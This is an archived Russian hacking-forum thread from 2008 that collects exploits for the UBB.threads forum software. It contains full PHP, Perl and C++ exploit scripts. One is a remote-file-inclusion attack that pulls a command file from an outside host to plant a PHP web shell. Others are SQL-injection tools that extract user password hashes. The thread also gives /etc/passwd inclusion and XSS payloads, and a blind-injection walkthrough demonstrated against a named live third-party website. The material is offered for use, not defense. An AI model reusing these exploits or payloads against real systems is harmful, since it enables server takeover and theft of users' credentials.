Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
[Обзор уязвимостей UBB.threads] |

25.01.2008, 02:46
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
[Обзор уязвимостей UBB.threads]
Vendor: http://www.ubbcentral.com/
Code Execution (doeditconfig.php)
Vulnerable: UBB.threads <= 6.5.1.1
Exploit:
PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
/* UBB.threads Command Execution */
/* by HACKERS PAL <security@soqor.net> */
/* site: http://www.soqor.net */');
if ($argc<2) {
print_r('
/* -- */
/* Usage: php '.$argv[0].' host
/* Example: */
/* php '.$argv[0].' http://localhost/
/**********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
$url=$argv[1]."/";
$exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?";
$page=$url.$exploit;
Function get_page($url)
{
if(function_exists("file_get_contents"))
{
$contents = file_get_contents($url);
}
else
{
$fp=fopen("$url","r");
while($line=fread($fp,1024))
{
$contents=$contents.$line;
}
}
return $contents;
}
$page = get_page($page);
$newpage = get_page($url."calendar.php");
if(eregi("Cannot execute a blank command",$newpage))
{
Die("\n[+] Exploit Finished\n[+] Go To : ".$url."calendar.php?cmd=ls -la\n[+] You Got Your Own PHP Shell\n/* Visit us : WwW.SoQoR.NeT */\n/**********************************************/");
}
Else
{
Die("\n[-] Exploit Failed\n/* Visit us : WwW.SoQoR.NeT */\n/**********************************************/");
}
?>
Multiple File Inclusion Vulnerabilities
Vulnerable: UBBThreads 5.x,6.x
Note: register_globals=on
Exploit:
Код:
http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00
http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt?
http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00
If php version < 4.1.0 or UBB version <= 5.x
http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt?
http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00
XSS
Vulnerable: UBBThreads 5.x,6.x
Exploit:
Код:
http://[site]/[ubbpath]/index.php?debug=<script>alert();</script>
SQL Injection (mailthread.php)
Vulnerable: UBB Threads < 6.5.2 Beta
Exploit:
PHP код:
<?php
#############################################################################
# T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m
#############################################################################
# Vulnerable: UBBCentral SQL Injection
#
# Exploit By : MH_p0rtal
#
# Discovered By: James Bercegay
#############################################################################
# Gr33tz To ==> Alpha_programmer , Oil_karchack , The_CephaleX , Str0ke
#
# And Iranian Hacking & Security Teams :
# IHS TeaM , alphaST , Shabgard Security Team , Emperor Hacking Team ,
# Crouz Security Team & Simorgh-ev Security Team
#############################################################################
# ___________Config :
# please replace your address :
$url = "http:///www.example.com";
# please replace your dir address :
$dirs = "/dir/to/ubbt/";
# __________End Config
#############################################################################
$aa = strlen ( $dirs );
$ab = $aa - 1;
$ac = 0;
if (( $dirs[$ab] == "/" ) && ( $dirs[$ac] == "/" )) {
$merg = $dirs.mailthread.php;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {
echo "Can't Connect\n";
} else {
$mh = "GET $merg?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat HTTP/1.1\r\n";
$mh .= "Host: $url\r\n";
$mh .= "Connection: Close\r\n\r\n";
fwrite($fc, $mh);
while (!feof($fc)) {
echo fgets($fc, 1024);
}
fclose($fc);
}
} else {
echo " Your pattern doesn't equal with Exploit directory pattern ";
}
?>
One char bruteforce
Vulnerable: UBB.Threads 6.2.* - 6.3.*
Exploit:
Код:
#!/usr/bin/perl
use LWP::UserAgent;
# UBB.Threads 6.2.* - 6.3.* exploit
# with one char brute technique
# by 1dt.w0lf // r57
$path = $ARGV[0];
$username = $ARGV[1];
$s_num = 1;
$n=0;
$|++;
if (@ARGV < 2) { &usage; }
print "Please wait...\r\n";
print "[";
while(1)
{
# начинаем перебор с полного диапазона
&found(0,122);
# если возвращенный код 0 значит дошли до конца строки и выводим полученный результат
if ($char=="0")
{
print "]\r\n\r\n";
# разделяем полученную строку на логин и пароль
($res1,$res2)=split(":",$allchar); #
print "------------------x REPORT x-------------------\r\n";
print " Username: $username\r\n";
print " Login Name: $res1\r\n";
print " Password Hash: $res2\r\n";
print "------------------x REPORT x-------------------\r\n";
print "total requests: $n\r\n";
exit();
}
else
{
# преобразуем полученный код в символ и добавляем его к строке результата
print "|";
$allchar .= chr($char);
}
# увеличиваем позицию символа на единицу и продолжаем перебор
$s_num++;
}
sub found($$)
{
# определяем переданный диапазон
my $fmin = $_[0];
my $fmax = $_[1];
# если диапазон менее 5 то переходим к перебору
if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
# определяем центр диапазона
$r = int($fmax - ($fmax-$fmin)/2);
# делаем условие
$check = ">$r";
# и проверяем условие, в зависимости от результата рекурсивно вызываем функцию с новым диапазоном
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r+1); }
}
sub crack($$)
{
# определяем переданный диапазон
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
# и проходим по каждому значению из диапазона
while ($i<$cmax)
{
# делаем условие
$crcheck = "=$i";
# проверяем его
if ( &check($crcheck) ) { return $i; }
$i++;
}
return;
}
sub check($)
{
# увеличиваем количество запросов
$n++;
# определяем условие
$ccheck = $_[0];
# создаем http запрос к серверу
$http_query = $path."?Cat=&page=1&like=".$username."' AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck." /*";
# Если вы хотите видеть все запросы отправляемые к скрипту
# то расскоментируйте следующую строку
# print "\r\n $http_query \r\n";
$mcb_reguest = LWP::UserAgent->new() or die;
# получаем ответ сервера
$res = $mcb_reguest->post($http_query);
@results = $res->content;
# проверяем ответ сервера на наличие строки
foreach $result(@results)
{
if ($result =~ /<td class=\"lighttable\">/) { return 1; }
}
return 0;
}
sub usage
{
print "=========================================================\r\n";
print " UBB.Threads 6.2.*-6.3.* one char bruteforce exploit\r\n";
print " For all MySQL versions! Don't need UNION support!\r\n";
print "=========================================================\r\n";
print " Usage: $0 [path/to/showmembers.php] [username]\r\n";
print " e.g. : $0 http://127.0.0.1/showmembers.php admin\r\n";
print "=========================================================\r\n";
exit();
}
Printthread.PHP SQL Injection Vulnerability
Vulnerable: UBB.threads 6.0
Exploit:
Код:
//HLLUBBThreadsExploit.cpp
/*
4. Exploitation
UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability
Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any vaild forum name> <user id>
Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php UBB3 2
Vulnerability discovered by: Axl
Exploit Coded by HLL: hllhll <at> gmail.com
*/
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <iostream.h>
#pragma comment (lib,"ws2_32")
void usage(char *argv[])
{
cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by: HLL" << endl;
cout << "[+] Usage:" << endl;
cout << "[+] " << argv[0] << " <hostname> <path to printthread.php> <Any vaild forum name> <user name> " << endl;
cout << "[+] " << argv[0] << " www.host.com /ubbthreads/printthread.php UBB3 HLL" << endl;
}
int main(int argc, char *argv[]){
WSADATA wsaData;
struct sockaddr_in saddr;
WSAStartup(MAKEWORD(1, 1), &wsaData);
struct hostent *h;
char hash[34]={0};
int rcvlen;
char ch;
int flag, pos;
int countwait;
SOCKET sock;
char req[400];
char buf[600];
char rcvbuf[10000];
char rcvtmpbuf[1024];
char *host=argv[1]; //Server
char *path=argv[2]; // Path to /ubbthreads/printthread.php
char *fname=argv[3]; //Forum name
int uid=atoi(argv[4]); //User id
if (argv!=5){
usage(argv);
return(0);
}
//Resolve address (will work also if this is an IP)
cout << "[+] Resolving host... ";
if (!(h=gethostbyname(host)))
{
cout << "FAILD!" << endl;
return(1);
}
cout << "Done." << endl;
saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0];
memset(saddr.sin_zero, 0, 8);
saddr.sin_port=htons(80);
saddr.sin_family=AF_INET;
cout << "[+] Exploiting target... " << endl;
for (pos=1; pos<=32; pos++)
{
for (ch='0'; ch<='F'; ch++)
{
if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1 )
{
cout << "FAILD CREATING SOCKET!" << endl;
return(1);
}
if (ch==':') ch='A'; //If finished all digits, jump to hex digits
//Prepare reqest
sprintf(req,
"%s?Board=%s&type=post&main=-99'%%20UNION%%20SELECT%%20B_Number,B_Posted%%20FROM%%20w3t_Posts,w3t_Users%%20WHERE%%20((MID(U_Password,%d,1)='%c')", path, fname, pos, ch,
pos, ch+32);
if (ch>='A' && ch<='Z')
sprintf(req, "%sOR%%20(MID(U_Password,%d,1)='%c')", req, pos, ch+32);
sprintf(req, "%s)AND(u_number=%d)/*", req, uid);
sprintf(buf, "GET %s HTTP/1.0\r\nAccept: * /*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\r\nHost: %s \r\n\r\n", req,
host);
connect(sock, (struct sockaddr *)&saddr, sizeof(struct sockaddr) );
send(sock, buf, strlen(buf), 0);
cout << "[+] Char: " << ch << endl;
//Loop untill disconnection or recognized string
flag=0;
countwait=0;
*rcvbuf=NULL;
while(!flag){
Sleep(30);
if ((rcvlen = recv(sock, rcvtmpbuf, 1023, 0))>0){
rcvtmpbuf[rcvlen]=NULL;
strcat(rcvbuf, rcvtmpbuf);
}
if ( (++countwait) == 30)
flag=2;
if ( strstr(rcvbuf, "SQL Error"))
flag=1;
}
if (flag==1){ //Char found
cout << "[+] Char " << ch << " In pos " << pos << endl;
hash[pos-1]=ch;
ch='G';
}
closesocket(sock);
}
}
hash[32]=NULL;
cout << endl << "The hash for user id" << uid << "is: " << hash << endl;
WSACleanup();
return (0);
}
Editpost.PHP SQL Injection
Vulnerable: UBB.threads 6.0
PoC:
Код:
http://www.example.com/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a
Multiple SQL Injection Vulnerabilities
Vulnerable: UBB.threads 6.5.1.1
UBB.threads 6.5.1
UBB.threads 6.5
UBB.threads 6.2.3
UBB.threads 6.0
PoC:
Код:
http://www.example.com/ubbt/download.php?Number=42227[SQL]
http://www.example.com/ubbt/calendar.php?Cat=7&month=6&year=2005[SQL]
http://www.example.com/ubbt/calendar.php?Cat=&month=7[SQL]&year=2005
http://www.example.com/ubbt/modifypost.phpCat=0&Username=foobar&Number=[SQL]&Board=UBB8&page=0&what=showflat&fpart=&vc=1&Approved=yes&convert=markup&Subject=Re%3A+Pruning+old+posts&Icon=book.gif&Body=yup&markedit=1&addsig=1&preview=1&peditdelete=Delete+this+post
http://www.example.com/ubbt/mailthread.php?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat
http://www.example.com/ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received
http://www.example.com/ubbt/addfav.php?Cat=0&Board=UBB2&main=41654[SQL]&type=reminder&Number=41654&page=0&vc=1&fpart=1&what=showflat
http://www.example.com/ubbt/notifymod.php?Cat=0&Board=UBB5&Number=42173[SQL]&page=0&what=showthreaded
http://www.example.com/ubbt/grabnext.php?Cat=4&Board=UBB23&mode=showflat&sticky=0&dir=old&posted=1045942715[SQL]
Multiple Cross-Site Scripting Vulnerabilities
Vulnerable: UBB.threads 6.5.1.1
UBB.threads 6.5.1
UBB.threads 6.5
UBB.threads 6.2.3
UBB.threads 6.0
PoC:
Код:
http://www.example.com/ubbt/dosearch.php?Cat=0&Searchpage=2[XSS]&topic=
http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818[XSS]&page=0&what=showflat&fpart=1&vc=1
http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0&what=showflat[XSS]&fpart=1&vc=1
http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0[XSS]&what=showflat&fpart=1&vc=1
http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818[XSS]&Board=UBB8&what=showflat&page=0&fpart=1&vc=1
http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8[XSS]&what=showflat&page=0&fpart=1&vc=1
http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8&what=showflat[XSS]&page=0&fpart=1&vc=1
http://www.example.com/ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0&fpart=all[XSS]
http://www.example.com/ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0[XSS]&fpart=all
http://www.example.com/ubbt/showmembers.php?Cat=&like=p[XSS]&sb=1&page=1
Dosearch.PHP SQL Injection Vulnerability
Vulnerable: UBB.threads 3.5
UBB.threads 3.4
Exploit:
Код:
www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695
Или
www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695'/*
Showflat.PHP SQL Injection Vulnerability
Vulnerable: UBB.threads 6.3
PoC:
Код:
http://www.example.com/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1
Последний раз редактировалось Grey; 17.09.2008 в 23:18..
|
|
|
[Обзор уязвимостей UBB.threads] |

17.09.2008, 02:58
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
[Обзор уязвимостей UBB.threads]
Уязвимость: Слепая SQL инъекция
Уязвимый продукт: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
Дата публикации уязвимости на секлабе: 09 сентября, 2008
Описание на секлабе: http://www.securitylab.ru/vulnerability/359080.php
Более подробное, но достаточно ущербное и кривое описание: http://www.gulftech.org/?node=resear...00130-09082008
Прочли описание? Много поняли? НЕТ? С чего бы это... а ещё ведь удвиляетесь почему многие копипасты оцениваются минусами
Разобрался что к чему и сделал нормальное описание:
Требования для успешной эксплуатации уязвимости:
1. Версия форума: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
2. На форуме должна быть создана хотя бы одна тема
3. У вас должен быть аккаунт (т.к. опция поиска доступна только для зарегистрированных пользователей)
4. Версия mysql >= 4.1 (т.к. только с этой версии появились подзапросы)
5. Нужно знать префикс таблиц.
6. Предположительно! мейджик_квотс = офф
Описание уязвимости (мои заметки):
SQL инъекция, пусть и слепая - звучит скучно и заезженно, но не в этом случае.
Данные передаваемые в параметр Forum[] не фильтруются, но обрабатываются далеко не самым лучшим для нас образом:
1. Проблема в том что использовать запятые в запросе нельзя:
PHP код:
if (preg_match("/^f/",$Forum[$i])) {
$bnum = str_replace("f","",$Forum[$i]);
$boardin .= "'$bnum',";
$boardin = preg_replace("/,$/","",$boardin);
if ($boardin) {
$boardin = "FORUM_ID IN ($boardin)";
}
Но тем не менее получить этот символ мы можем (хотя он нам и не нужен). Дело в том что передавать данные параметру (массиву) Forum[] можно несколькими строками.
И эти строки будут объеденяться, но их объеденение так же проблемно:
т.к. к каждой строке добавляется кавычка (как в начало, так и в конец, т.е. строка обрамляется в кавычки), и сами строки при этом разделяются запятыми.
т.е. отправляя: Forum[]=f1&Forum[]=f222, получаем:
'1','222'
Самым простым запросом будет:
Forum[]=f1')) AND 1=1/*
Что бы получать данные из подзапросов пришлось отойти от использования стандартной конструкции с использованием функции substring().
И использовть для подбора данных поиск с помощью опратора LIKE:
Код:
Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '0%')=1/*'))
Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '1%')=1/*'))
Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '12%')=1/*'))
Т.е. мы фактически подбираем ХЕШ пользователя с помощью оператора LIKE.
Способ это не самый рациональный, но в данном случае он рабочий, а это главное (способ с использованием функции substring() к сожалению получался ограниченным на вывод только числовых данных из-за специфичности моей конструкции, но другой я придумать не смог).
Всего нужно запросов для получения ХЕША: 32*16=512 - не так и много, хотя и не мало.
2. Ещё одна проблема, которая по началу сильно мне насолила, это вырезание символов "c", "f":
PHP код:
if (preg_match("/^c/",$Forum[$i])) {
$cnum = str_replace("c","",$Forum[$i]);
$catin .= "'$cnum',";
}
if (preg_match("/^f/",$Forum[$i])) {
$bnum = str_replace("f","",$Forum[$i]);
$boardin .= "'$bnum',";
Ничего в этом проблемного нет, т.к. обходится переводом символов в верхний регистр: "C", "F".
Но из-за отсутствия нормальный исходников (двиг платный, нуленных версий не много, а то что у меня было, было далеко не самым свежим) по началу принесло не мало гемора.
Эксплуатация уязвимости (мои заметки):
Т.к. раскручивал инъекцию я как слепую, а там, вроде, только так и можно, то нам понадобиться как то определять правильность выполнения запроса.
Делать мы это будет по нахождению результата при поиске слова (т.е. если в результате поиска что то находится, то запрос выполнен верно).
Для этого нам потребуется слово которое будет находиться в определённом форуме, делается это так:
1) Регимся на форуме (кстати там обычно активация по мылу нужна, так что регим левые ящики и вперёд).
2) Заходим к списку форумов, смотрим линк на какой либо форум, выглядеть это будет примерно так:
ubb=postlist&Board=58&page=1
В данном случае номер заданного форума (называть это разделом не совсем верно, т.к. раздел это нечто другое) = 58.
3) Заходим в выбранный форум и смотрим название какой либо темы, к примеру "Master spreadsheet..."
Берём какое либо слово из названия темы и пробуем его найти в указанном форуме (выбрать форум для поиска можно указав его название - в опциях поиска вы этой найдёте без труда).
Бац... и что то там нашлось - вот и отлично.
4)
Теперь пробуем, к примеру, через GET, такой запрос:
Код:
ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
, где: ubb=dosearch&fromsearch=1&checkwords=1 - необходимые параметры - их менять не нужно, Words=master слово, которое должно, обязательно, находиться и
f58'))+and+1%3D1/* 58 - НОМЕР ФОРУМА, '))+and+1%3D1/* наш запрос ( and 1=1/*).
Т.к. заданное условие, обязательно, выполнится, то если форум уязвим вы увидим что искомое слово нашлось, как и было раньше.
Теперь пробуем так:
Код:
ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
Т.к. заданное условие ( and 1=2/*) не выполнимо, то искомое слово не должно найтись!
Судить о том уязвим форум или нет, можно и нужно только если в первом случае мы видим результат, а во втором нет (т.е. нужны две проверки - на правильность и не правильность выполнения условия).
Вот на примере конкретного сайта:
* Не забудьте зарегестрироваться - опция поиска доступна только зарегистрированным пользователям.
Слово найдено:
Код:
http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
Слово не найдено:
Код:
http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
Так ну вот собственно и всё - как выдирать данные посимвольно я показал выше, не забудьте про филтрацию символов "c", "f" - они фигурируют во многих операторах.
Вот только сказать "вперёд и с песней" я не могу, т.к. руками это эксплуатировать - не реал.
Написал простенький и в некоторой степени кривой сплоент - выдирает он только ХЕШ пользователя с указанным номером.
Как пользоваться моим сплоентом:
1. Регимся на форуме, смотрим свои куки - они пригодятся, т.к. сплоент без них работать не будет.
2. Вписываем данные в сплоент (если вы читали всё что написано выше, то понять что туда вписывать труда не составит + там все что нужно про комментированно).
3. Заливаем куда нидь сплоент и запускаем (т.к. написан он на скорую руку, то немного кривоват, что в свою очередь отражается на скорости его работы (минут 20)).
4. Получаем ХЕШ указанного пользователя.
Учтите одного ХЕША будет мало, т.к. отображаемое имя и используемое как логин - могут быть разными.
Переписать сплоент под себя, исправив этот недостаток не так и сложно для того кто разбирается в том что у чему, остальные... халявщики, а это не тру (своего рода это зашита от дурака), в противном случае расчитывайте на совпадение отображаемого имени и логина.
Дополнительная информация:
Алгоритм хеширования: md5()
Префикс по дефолту: ubbt_
Таблица с пользователями: prefix_USERS
Колонки в таблице пользователей: USER_ID, USER_LOGIN_NAME, USER_PASSWORD, USER_MEMBERSHIP_LEVEL (остальные не пригодятся)
Вот приблизительно так и надо дорабатывать копипасты.
Последний раз редактировалось Grey; 17.09.2008 в 18:26..
|
|
|

17.09.2008, 22:10
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|